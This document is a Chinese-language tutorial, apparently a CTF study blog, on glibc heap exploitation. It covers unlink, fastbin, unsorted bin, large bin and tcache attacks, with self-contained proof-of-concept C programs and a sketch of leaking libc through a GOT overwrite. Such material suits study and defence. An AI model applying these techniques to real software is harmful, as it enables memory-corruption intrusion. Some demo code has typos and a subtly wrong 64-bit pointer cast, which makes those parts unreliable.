堆的攻击

堆溢出

原理

  • 简介:

    • 程序向堆块写入的字节数超过了堆块本身的字节数(不是用户申请的字节数,因为在内部用户申请的字节数会被转换为实际向系统申请的字节数,该数大于等于用户申请的字节数),可以覆盖到相邻的高地址的下一个堆块
  • 条件:

    • 向堆上写入数据
    • 写入的数据大小没被良好的控制

与栈溢出等不同的是我们不可以直接通过堆溢出直接控制EIP,我们也就无法直接控制程序执行对应的程序,对于堆溢出:

  1. 覆盖下一个chunk的内容
    • pre_size
    • size中的三个bit
      • NON_MAIN_ARENA
      • IS_MAPPED
      • PREV_INUSE
      • the true chunk size
    • chunk content,改变程序固有执行流
  2. 利用堆中unlink来实现任意地址写入或控制堆块的内容等效果来控制程序流

总结

  • 寻找堆分配函数
    • 通常来说调用malloc来分配,有些时候会使用calloc来分配,区别是calloc在分配后会自动清空,对于某些信息泄露的漏洞不好
    • 还有realloc,就是相当于扩充内存块,realloc(ptr,size)
      • size>原来的size
        • chunk与top chunk相邻,直接扩展到目标大小
        • 不相邻,就分配一个新内存块,并将数据复制过去,原来的那个释放掉
      • <
        • 相差的小于最小的chunk(32为16字节,64为32字节),则保持不变
        • 大于等于,就切割原来的chunk为两个部分,free掉后面的那个
      • size=0
        • 相当于free(ptr)
      • size=ptr的size,不做任何操作
  • 寻找危险函数
    • 输入
      • gets
      • scanf
      • vscanf
    • 输出
      • sprintf
    • 字符串
      • strcpt,字符串复制
      • strcat,字符串拼接
      • brocpy,内存块复制
  • 确定填充长度
    • 这里需要注意填充的长度并不是程序申请的长度,因为程序的长度还会在被转换为内部实际需要申请的长度
    • 64位中 in_use_size=(用户请求大小 +16(pre_size+size)-8(借了下一个chunk的pre_size)) align to 16B

堆中的Off-By-One

就是溢出时刚好只多了一个字节,往往与边界验证不严和字符串操作有关,比如

  • 使用循环时次数设置错误
  • 字符串操作不合适,比如stelenstrcpt不一致时,strlen不会考虑\x00但strcpy会拷贝

利用思路

  1. 溢出字节是可控制的人以字节:通过修改大小造成块之间出现重叠->泄露数据,或是覆盖数据
  2. 溢出字节是NULL字节:在size=0x100时,溢出NULL字节可以让prev_in_use被清理,这样前面的那个块就会被认为是free的,这时
    • 可以使用unlink处理
    • 这是pre_size就会启用,可以伪造它来造成块之间的重叠,这个方法的关键在于unlink没有检查按照pre_size找到的块与pre_size是否一致

在新版本中加入了对方法二的check

1
2
3
4
5
6
7
8
9
10
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
/* 后两行代码在最新版本中加入,则 2 的第二种方法无法使用,但是 2.28 及之前都没有问题 */
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}

Chunk Extend and Overlapping

名词解释:

  • Chunk Extend:通过修改堆块大小,扩展其范围以覆盖相邻内存
  • Overlapping:使多个堆块内存区域重叠,通过一个堆块修改另一个堆块的内容

条件:

  • 程序存在堆漏洞
  • 漏洞可以控制chunk header(就是size那些数据)中的数据

原理:

  • 该攻击方式能够实现的原因在于ptmalloc对堆操作时的各种宏
  • 简而言之,ptmalloc通过chunk header的数据判断chunk的使用情况和对前后chunk进行定位,chunk extend就是通过控制sizepre_size来实现跨越块的操作从而overlapping

实例:

  • inusefastbin进行extend

    • 就是通过第一个块的大小来控制第二个块的内容(演示都是在64位环境下)

    • 通过修改第一个块的size来在free时将两个块变成一个块,这样在第二次malloc时可以获得第二个块内容

1
2
3
4
5
6
7
8
9
10
11
12
13
int main(void)
{
void *ptr,*ptr1;

ptr=malloc(0x10);//分配第一个0x10的chunk
malloc(0x10);//分配第二个0x10的chunk

*(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域

free(ptr);
ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
return 0;
}
  • inusesmallbin进行extend

    • fastbin方法类似,不过small bin free时会被置于unsorted bin,而且释放时如果与top chunk相连,就会和并到top chunk
1
2
3
4
5
6
7
8
9
10
11
12
int main()
{
void *ptr,*ptr1;

ptr=malloc(0x80);//分配第一个 0x80 的chunk1
malloc(0x10); //分配第二个 0x10 的chunk2
malloc(0x10); //防止与top chunk合并

*(int *)((int)ptr-0x8)=0xb1;
free(ptr);
ptr1=malloc(0xa0);
}
  • freesmall bin进行extend
1
2
3
4
5
6
7
8
9
10
11
12
int main()
{
void *ptr,*ptr1;

ptr=malloc(0x80);//分配第一个0x80的chunk1
malloc(0x10);//分配第二个0x10的chunk2

free(ptr);//首先进行释放,使得chunk1进入unsorted bin

*(int *)((int)ptr-0x8)=0xb1;
ptr1=malloc(0xa0);
}67----
  • 通过extend后向overlapping
  • 通过extend前向overlapping

Chunk Extend作用

这种技术不能直接控制程序的执行流程,但是可以控制chunk的内容,如果chunk内存在字符串指针或函数指针之类的,就可以通过此来信息泄露和控制程序流

通过extendoverlapping,通过overlapping可以控制chunkfd/bk指针从而实现fastbin attack等利用

unlink

顾名思义,脱链操作

unlink原理:

对chunk中内容进行布局,接触unlink操作来发成修改指针的目的

核心

1
2
3
4
5
// P 是要解除链接的空闲堆块
FD = P->fd;
BK = P->bk;
FD->bk = BK; // 关键步骤:写入任意地址
BK->fd = FD; // 关键步骤:写入任意地址

unlink前:

前

unlink后:

后

这样就实现了内存块P的脱链

存在有物理空间连续的两个chunk(Q,nextchunk),Q在使用,Nextchunk释放。那么我们通过溢出等方式将 Nextchunk 的 fd 和 bk 指针修改为指定的值。则当我们 free(Q) 时

  • glibc 判断这个块是 small chunk
  • 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并
  • 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并
  • 继而对 Nextchunk 采取 unlink 操作

那么在unlink时

首先是修改堆的数据(下面两句)

  • FD=P->fd = target addr -12(也就是FD->bk=target addr)
  • BK=P->bk = expect value(也就是BK=expect value)

然后写入(往target addr写入expect value)

  • FD->bk = BK,即 *(target addr-12+12)=BK=expect value(就是*target_addr=expect value)
  • BK->fd = FD,即 *(expect value +8) = FD = target addr-12(这里回破坏expect value+8的值,需要注意

这样就实现了往target addr写入expect value

(只截取了一小部分)

1
2
3
4
5
6
7
8
9
#define unlink(AV, P, BK, FD) {                                            
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
//检查,如果FD->bk没指向p或BK->fd没指向p就不会unlink
else {
FD->bk = BK;
BK->fd = FD;

所以想要伪造fake chunk就必须要满足

1
2
3
BK->fd==p<=>p->fd+0x18==p
FD->bk==p<=>p-bk+0x10==p
//这里0x18和0x10分别是BK中bk、FD中fd距离指针的长度(64位)

所以我们伪造的

1
2
p->fd=P-0x18
p->bk=p-0x10

才可以进行unlink

当 got 表可写,并且没有查看堆块信息的函数的时候,并且存在堆溢出的漏洞,并且有一块比如 bss 上的地址来记录堆的指针的情况下,可以利用 unlink 来将free_got写成 puts_plt 来输出地址从而泄露 libcbase

具体操作(举个例子来说明)

  • 首先分配三个堆块
    • add(0x10,0x60,0x60)
  • 然后构造aim=chunk2_ptr
    • fd=aim-0x18
    • bk=aim-0x10(这样是可以通过检查的,由于存在记录指针的 bss 段地址)
  • 在第二个块里面写上p64(0)+p64(0x50)(chunk2size-0x10)+p64(fd)+p64(bk)+b’A’*(0x60-8*4)+p64(0x50)(pre_size)+p64(0x60)(下一个堆块的size)
  • 然后 delete(3) 即可将 aim-0x18 写入 chunk2_ptr 的位置上,从而可以控制堆块指针,可以将其修改为 got 表地址,从而修改 got 表地址

原理就是在 delete(3) 是发现 pre_inuse 为 0,就会去寻找 prechunk,而 pre_size 被我们控制,就会找到我们伪造的chunk,就会对伪造的 chunk 进行 unlink

Use After Free

原理

内存块被释放后,其对应指针没有被设置成NULL

  • 没有代码对内存块进行修改,那么这个内存块在下一次使用时程序很有可能可以正常运转
  • 有代码对其修改,那么在下一次使用时会出现奇怪的问题

我们称释放后没有被设置成NULL的指针称为dangling pointer

Fastbin Attack

前提

  • 存在堆溢出,use-after-free等能控制堆中内容的漏洞
  • 漏洞发生在fastbin的chunk中

分类

  • Fastbin Double Free
  • House of Spirit
  • Alloc to Stack
  • Arbitrary Alloc

前两种侧重利用free释放掉真的chunk或伪造的chunk,然后再次申请chunk进行攻击,后两种侧重故意修改fd指针,直接用malloc申请指定位置的chunk进行攻击

原理

fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。

例子

1
2
3
4
5
6
7
8
9
10
11
12
int main(void)
{
void *chunk1,*chunk2,*chunk3;
chunk1=malloc(0x30);
chunk2=malloc(0x30);
chunk3=malloc(0x30);
//进行释放
free(chunk1);
free(chunk2);
free(chunk3);
return 0;
}

释放前

1
2
3
4
5
6
7
8
9
10
11
12
13
0x602000:   0x0000000000000000  0x0000000000000041 <=== chunk1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000041 <=== chunk2
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000041 <=== chunk3
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000020f41 <=== top chunk

三次free

1
2
3
4
5
6
7
8
9
10
11
12
13
0x602000:   0x0000000000000000  0x0000000000000041 <=== chunk1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000041 <=== chunk2
0x602050: 0x0000000000602000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000041 <=== chunk3
0x602090: 0x0000000000602040 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000020f41 <=== top chunk

可以看到此时的三个 chunk 组成了一个单向链表

1
2
3
4
Fastbins[idx=2, size=0x30,ptr=0x602080]
===>Chunk(fd=0x602040, size=0x40, flags=PREV_INUSE)
===>Chunk(fd=0x602000, size=0x40, flags=PREV_INUSE)
===>Chunk(fd=0x000000, size=0x40, flags=PREV_INUSE)

Fastbin Double Free

原理

fastbin中chunk可以被多次释放,因此可以在fastbin链表存在多次,这样导致多次从fastbin链表取出同一块堆块,相当于多个指针指向同一个堆块

条件

  • fastbin的堆块释放后next_chunk的pre_inuse位不会清空
  • fastbinfree时仅验证main_arena直接指向的块,对于链表后的块并没有验证
1
2
3
4
5
6
7
/* Another simple check: make sure the top of the bin is not the
record we are going to add (i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}

示例

fastbin是FIFO机制

我们可以在chunk1释放后再释放chunk2,这样使main_arena指向chunk2,此时再次释放chunk1就不会被检测到

1
2
3
4
5
6
7
8
9
10
11
int main(void)
{
void *chunk1,*chunk2,*chunk3;
chunk1=malloc(0x10);
chunk2=malloc(0x10);

free(chunk1);
free(chunk2);
free(chunk1);
return 0;
}

第一次free

diyici

第二次free

dierci

第三次free

disanci

此时chunk1的fd指向了chunk2

接着malloc将第一个chunk1释放掉,再修改chunk1中fd指针为target_addr,这样Fastbin就变成了main_arena->chunk2->chunk1->target_addr,这样我们就可以分配到target_addr处的堆块,这样就可以在此进行读写

但int_malloc_会对即将分配位置的size域检查,如果size和当前fastbin链表应该有size不符就抛出异常

House Of Spirit

核心

该技术核心在于在目标位置伪造fastbin chunk,并将其释放,从而达到分配指定地址的chunk的目的

条件

想伪造fastbin chunk并放入fastbin链表中,那么就要绕过一些必要的检查

  • fake chunk的ISMMAP位不能为1,因为mmap分配的chunk会被单独处理
  • fake chunk的地址需要对齐
  • fake chunk的size的大小需要满足fastbin的要求,同时需要对齐
  • fask chunk的next chunk的大小不能小于2*SIZE_SZ,同时不能大于av->system_mem
  • fake chunk对应的fastbin链表头不能是fake chunk,即不能构成double free情况

(以上注意事项源码里都有)

总结

该技术分配chunk到指定地址,其实不需要修改指定地址的任何内容,关键是要能够修改指定地址前后的内容使其能够绕过检测

Alloc to Stack

原理

关键在于劫持 fastbin 链表里的 chunk 的fd指针,把fd指针指向我们想要分配的栈上,从而控制栈上的一些关键数据,比如返回地址等

演示

该代码将 fake_chunk 置于栈中的称为 stack_chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK;

int main(void)
{
CHUNK stack_chunk;

void *chunk1;
void *chunk_a;

stack_chunk.size=0x21;
chunk1=malloc(0x10);

free(chunk1);

*(long long *)chunk1=&stack_chunk;//修改fd指针为stack_chunk
malloc(0x10);//第一次分配使fastbin链表指向了stack_chunk,意味着下一次分配会用stack_chunk进行
chunk_a=malloc(0x10);//此时分配的就是stack_chunk了
return 0;
}

总结

通过该技术我们可以把 fastbin chunk 分配到栈中,从而控制返回地址等关键数据。要实现这一点我们需要劫持 fastbin 中 chunk 的 fd 域,把它指到栈上,当然同时需要栈上存在有满足条件的 size 值

Arbirary Alloc

原理

与Alloc to Stack完全相同,唯一区别是目标不再是栈中,事实上只要目标地址存在合法size域(人为的还是自然的都无所谓),我们可以把chunk分配到任意的可写内存中,比如bss、heap、data、stack等

总结

Arbitrary Alloc在CTF中用的更加频繁。我们可以利用字节错位等方法来绕过size域的检查,实现任意地址分配chunk,最后效果也就相当于任意地址写任意值

Unsorted Bin Attack

概述

  • Unsorted Bin Attack 被利用前提:控制Unsorted Bin Chunk的bk指针
  • Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值

回顾

来源

  • 当一个较大的chunk分割成两半时,若剩下的大于MINSIZE
    ,就会被放到unsorted bin中
  • 释放一个不属于fastbin的chunk且其不与top chunk相邻时,就会首先被放到unsorted bin中

使用情况

  1. 遍历顺序:FIFO 插入时插入到unsorted bin头部,取出时从链表尾获取
  2. malloc 时,如果从fastbin和small bin中找不到对应大小的chunk,就会尝试从unsorted bin中寻找chunk,若满足用户,就返回给用户,否则放到对应的chunk中

Unsorted Bin Leak

Unsorted bin结构

双向链表

结构

可以看到链表中的尾节点的 fd 指针会指向 main_arena 结构体内部。

Leak原理

  • 泄露fd指针,得到一个与main_arena固定偏移的地址
  • 这个地址相对于 libc 基址是固定的偏移,从而实现对ASLR的绕过

获取main_arena和libc基址偏移

_malloc_trim函数得出

将.so文件放到IDA中,找到__malloc_trim函数,就可以获得偏移了

IDA

通过_malloc_hook算出

main_arena_malloc_hook的地址差是0x10,而大多数libc都可以直接查出_malloc_hook的地址,这样就可以减少工作量

pwntools:

1
main_arena_offset = ELF("libc.so.6").symbols["__malloc_hook"] + 0x10

实现leak

  • 一般需要有 UAF,将一个 chunk 放入 Unsorted Bin 中后再打出其 fd。一般的笔记管理题都会有 show 的功能,对处于链表尾的节点 show 就可以获得 libc 的基地址了
  • CTF中的利用,堆往往是刚初始化的,所以Unsorted Bin中是干净的,当里面只有一个bin时,该binfdbk都会指向main_arena
  • 当链表尾无法访问时,可以访问链表头,对链表头的printf往往可以把fdbk一起输出出来,但在64位环境下,高地址往往是\x00截断printf的输出,无法做到有效leak

Unsorted Bin Attack原理

当将一个 unsorted bin 取出时,会将bck->fd位置写入本unsorted bin的位置

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

也就是说如果我们控制了bk的值,我们就能将unsorted_chunk写到任意地址

例子

图示

  • 初始:
    • unsorted bin 的 fdbk都指向本身
  • free(p)
    • 由于p大小不属于fast bin,所以其会被先放到unsorted bin中
  • 修改p[1]
    • 修改后,原来在unsorted bin中的p的bk就会指向target-0x10处的伪造的chunk,Taget valus处于伪造的chunk的fd处
  • 申请400大小的chunk
    • 此时申请的chunk在small bin范围内,但bin中没有chunk,所以去unsorted bin中找,发现其不为空,于是取出最后一个chunk
  • 结果
    • 修改target处的值为unsorted bin链表头地址
    • 可以修改任意地址但是修改的值却不受我们的控制
  • 作用
    • 我们通过修改循环的次数来使得程序可以执行多次循环。
    • 我们可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin,这样我们就可以去执行一些 fast bin attack 了。

总结

通过控制unsortedbin里的空闲chunk->bk,来实现任意地址写

操作:

  • bk修改成为target_addr-0x10
  • 在取出chunk的时候,即可往target_addr处写入unsortedbin链表头的地址,也就是 main_arena + 0x58(glibc < 2.26)或 main_arena + 0x68(glibc ≥ 2.26)

Large Bin Attack

原理

主要利用chunk进入bin中的操作,在malloc时,遍历unsorted bin,对每一个chunk,若无法exact-fit分配(精准匹配分配)或不满足切割分配的要求,就会将chunk置入大小对应的bin中,而此过程缺乏对large bin跳表指针(fd_nextsize和bk_nextsize)的检查

2.29版本及以下,根据unsorted bin大小不同

1
2
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;

unsorted bin小于链表中最小的chunk时候执行前一句,else后一句

二者大小相同时执行

1
2
3
4
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;

所以此时无法利用(将新堆块插入到链表第二个位置,是固定的,不会影响fd_nextsizebk_nextsize,所以无法利用)

所以有两种利用方法

在2.30版本新加入对large bin跳表的完整性的检查,使unsorted chunk大于链表中最小的chunk的时候利用失效必须使unsorted bin小于链表中最小的chunk,通过

1
victim->bk_nextsize->fd_nextsize = victim;

实现将本chunk的地址写入到bk_nextsize+0x20

例子

核心源码:

1
2
3
4
5
6
7
8
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
// gcc large_bin_attack.c -o large_bin_attack -g
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x320);
fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p2 = malloc(0x400);
fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p3 = malloc(0x400);
fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n");
malloc(0x20);
//以上总结:分配了p1,p2,p3大小分配为0x420,0x500,0x500(中间0x20堆块起保护作用,防止合并)
free(p1);
free(p2);
//free掉p1,p2,此时在unsorted bin中
fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n",
(void *)(p2 - 2), (void *)(p2[0]));

void* p4 = malloc(0x90);//这一句做了很多事:1.由于这里nalloc了但没有满足要求的,所以将p1放入small bins中,将p2放入largebin中 2.现在unsorted bin空,从smallbin中分配,分配了0x90,并且将剩下的chunk(0x330-0xa0)放入unsorted bin中,所以现在unsorted bin中有一个chunk:0x290,largebin中也有一个chunk:0x410
fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n",
(void *)((char *)p1 + 0x90));

free(p3);//p3进入unsortedbin中,此时unsortbin中有两个空闲chunk,从头到尾分配时p3(0x410),那个分割的chunk(0x290)
fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n",
(void *)(p3 - 2), (void *)(p3[0]));

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n");
fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
//开始构造,p2是那个放到largebin中的chunk
p2[-1] = 0x3f1; //size
p2[0] = 0; //fd
p2[2] = 0; //fd_nextsize
p2[1] = (unsigned long)(&stack_var1 - 2); //bk,指向stack_var1-0x10的位置
p2[3] = (unsigned long)(&stack_var2 - 4);//bk_nextsize,指向stack_var2-0x20的位置,修改后结构图如下图

//------------------------------------

malloc(0x90);//与第一个malloc(0x90)过程类似,从unsorted bin中拿出最后一个chunk放入smallbin中,接着p3要被放入到largebin中,此时会对p2,p3大小比较很明显p2v0x3F0小于p3 0x510,这里结合源码写在下面

fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n");

fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

return 0;
}

p2修改后

修改后

74行,结合2.23源码进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//前情提要p2<p3,p3要被放到largebin中,p2本就在largebin中
if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else//进入这里的分支
{
victim->fd_nextsize = fwd;//vivtim是unsortedbin中,即将被放入largebin中的堆块(p3),bwd是最近被放进largebin中的chunk(p2),这一句将p3->fd_nextsize=p2
victim->bk_nextsize = fwd->bk_nextsize;//p2->bk_nextsize被我们设置成stack_var-0x20的地址,所以p3->bk_nextsize指向它,p3->bk_nextsize=p2->bk_nextsize=stack_var2-0x20
fwd->bk_nextsize = victim;//p2->bk_nextsize指向p3
victim->bk_nextsize->fd_nextsize = victim;//将stack_var2-0x20->fd_nextsize,也就是stack_var2的地址,将其变成p3头指针
}
bck = fwd->bk;//等价于(fwd-bk)->fd=victim 也就是stack_var1-0x10->fd=victim,修改了var1的值,流程走完,利用完毕!!
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

总结

主要利用两个chunk,大的p3,小的p2,通过伪造p2->bk,p2->bk_nextsize,分别指向target-0x10,target-0x20放到largebin里(在此之前largebin最好为空),而大堆块malloc后进入largebin,实现将p3头指针赋值给target1,target2

how2heap 中也说了,large bin attack 是未来更深入的利用。现在我们来总结一下利用的条件:

  • 可以修改一个 large bin chunk 的 data
  • 从 unsorted bin 中来的 large bin chunk 要紧跟在被构造过的 chunk 的后面
  • 通过 large bin attack 可以辅助 Tcache Stash Unlink+ 攻击
  • 可以修改 _IO_list_all 便于伪造 _IO_FILE 结构体进行 FSOP。

Tcache attack

overview

tcache中新增了两个结构体,tcache_entrytcache_perthread_struct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

其中重要的两个函数tcache_get()tcache_put()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

static void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}

这两个函数再_int_free__libc_malloc开头被调用

tcache在分配大小<=0x408并且给定大小的tcachebin没有满时掉哟个

一个tcachebin中最大快数mp_.tcache_count是7

tcache_get中,仅检查了tc_idx,可以当作一个类似于fastbin的单独链表,只是它的检查没有fastbin那么复杂,仅检查tcache->entries[tc_idx] = e->next;

usage

  • 释放

free函数处理的最先部分,首先检查对齐情况和前后堆块的释放情况,然后就是tcache

  • 申请

    malloc中有多处会将内存块移入tcache中

    • 申请内存块符合fastbin大小 且 在fastbin中找到可用空闲块,会将该fastbin链上的其他内存块移到tcache
    • 申请的内存块符合 smallbin 大小 且 在 smallbin 内找到可用的空闲块时,会把该 smallbin 链上的其他内存块放入 tcache
    • 当在 unsorted bin 链上循环处理时,当找到大小合适的链时,并不直接返回,而是先放到 tcache
  • tcache取出:在内存申请的开始,会先根据申请大小看tcache中是否存在对应的内存块,如果存在就直接返回,否则再_int_malloc

  • 在循环处理unsorted bin内存块,如果达到放入unsortedbin块的最大数量,则立即返回。默认值0,表示不存在上限

  • 在循环处理unsorted bin内存块,如果之前曾放入过tcache,则会取出一个并返回

tcache poisoning

原理

通过覆盖tcache中的next,不需要伪造任何chunk即可实现malloc到任何地址

利用

tcachenext指针和fd指针在同一个位置

1
2
3
4
5
6
size_t stack_var;
intptr_t *a = malloc(128);
free(a);
a[0] = (intptr_t)&stack_var;
fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
intptr_t *b = malloc(128);

总结

fastbin类似,将一个freetcache中的块的next修改成目标地址,两次free就能得到目标地址的内存块

tcache dup

原理

tcache_put的检查不严谨,大幅提高性能的同时安全性也下降了许多

1
2
3
4
5
6
7
8
9
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

但是2.29版本以后引进了对double free的检查

利用

直接两次free同一个块即可形成cycliced list

1
2
3
int *a = malloc(8);
free(a);
free(a);

tcache perthread corruption

原理

tcache_perthread_struct 是整个 tcache 的管理结构,如果能控制这个结构体,那么无论我们 malloc size 是多少,地址都是可控的。

利用

假设此时有堆排布情况如下

1
2
3
4
5
6
7
8
9
10
11
12
tcache_    +------------+
\perthread |...... |
\_struct +------------+
|counts[i] |
+------------+
|...... | +----------+
+------------+ |header |
|entries[i] |--------->+----------+
+------------+ |NULL |
|...... | +----------+
| | | |
+------------+ +----------+

通过一些手段(比如 tcache posioning ),我们将其改为了

1
2
3
4
5
6
7
8
9
10
11
12
tcache_    +------------+<---------------------------+
\perthread |...... | |
\_struct +------------+ |
|counts[i] | |
+------------+ |
|...... | +----------+ |
+------------+ |header | |
|entries[i] |--------->+----------+ |
+------------+ |target |------+
|...... | +----------+
| | | |
+------------+ +----------+

这样我们就可以通过两次malloc就返回了 tcache_perthread_struct 的地址,就可以控制整个 tcache 了。

因为 tcache_perthread_struct 也在堆上,因此这种方法一般只需要 partial overwrite 就可以达到目的。

tcache house of spirit

原理

由于tcache_put()检查不严格,在释放的时候没有检查这个指针是否真的是对上malloc来的指针,我们通过伪造一个fake chunk将这个指针释放掉这个地址就会进入tcache中,而后再malloc就能获取这个地址

利用

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>
int main()
{
malloc(1);
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region
fake_chunks[1] = 0x40; // this is the size
a = &fake_chunks[2];
free(a);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

在free(a)后

在 smallbin 中包含有空闲块的时候,会同时将同大小的其他空闲块,放入 tcache 中,此时也会出现解链操作,但相比于 unlink 宏,缺少了链完整性校验。因此,原本 unlink 操作在该条件下也可以使用。

原理

tcachebin没满,从smallbin中分配内存且smallbin中有空闲chunk时,在获取到一个smallbinsmallbin任然有空闲chunkglibc会将smallbin中的chunk批量转移到tcache中

